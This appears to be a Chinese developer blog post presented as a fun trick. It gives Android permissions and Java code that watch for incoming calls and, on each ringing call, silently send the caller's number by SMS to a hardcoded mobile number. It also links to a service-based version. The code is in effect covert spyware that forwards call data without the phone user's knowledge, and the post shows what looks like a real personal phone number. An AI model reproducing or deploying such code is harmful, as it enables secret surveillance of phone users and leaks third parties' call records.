【娱乐】Android实现监听通话、发送短信

今晚本来打算学习Android的四大组件,偶尔发现Android还有这么好玩的功能~~


在AndroidMainfest.xml添加权限:

 <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 <uses-permission android:name="android.permission.SEND_SMS" />

第一个权限为监听通话权限;第二个为发送短信权限


在主Activity文件中:


private SmsManager sManager;
private TelephonyManager tManager;
//声明这两个变量
//在oncreate方法中
tManager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
sManager = SmsManager.getDefault();
tManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
//声明一个监听事件
PhoneStateListener listener = new PhoneStateListener() {

        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE:
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK:
                break;
            case TelephonyManager.CALL_STATE_RINGING:
                PendingIntent pi = PendingIntent.getActivity(
                        ServiceT.this, 0, new Intent(), 0);
                Log.e("111", "已执行");
                sManager.sendTextMessage("17853100900", null, "来电人:"
                + incomingNumber, pi, null);
                //第一个参数为给哪个手机号发送短信,第三个参数为短信内容,
                //incomingNumber是来电人手机号,其他的参数是用来凑数的
                break;

            }
        }

    };


安卓手机。。。。。。。。。。


这是我自己结合service做的一个简单手机通话监听:
http://download.csdn.net/detail/zhengyikuangge/9462418

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值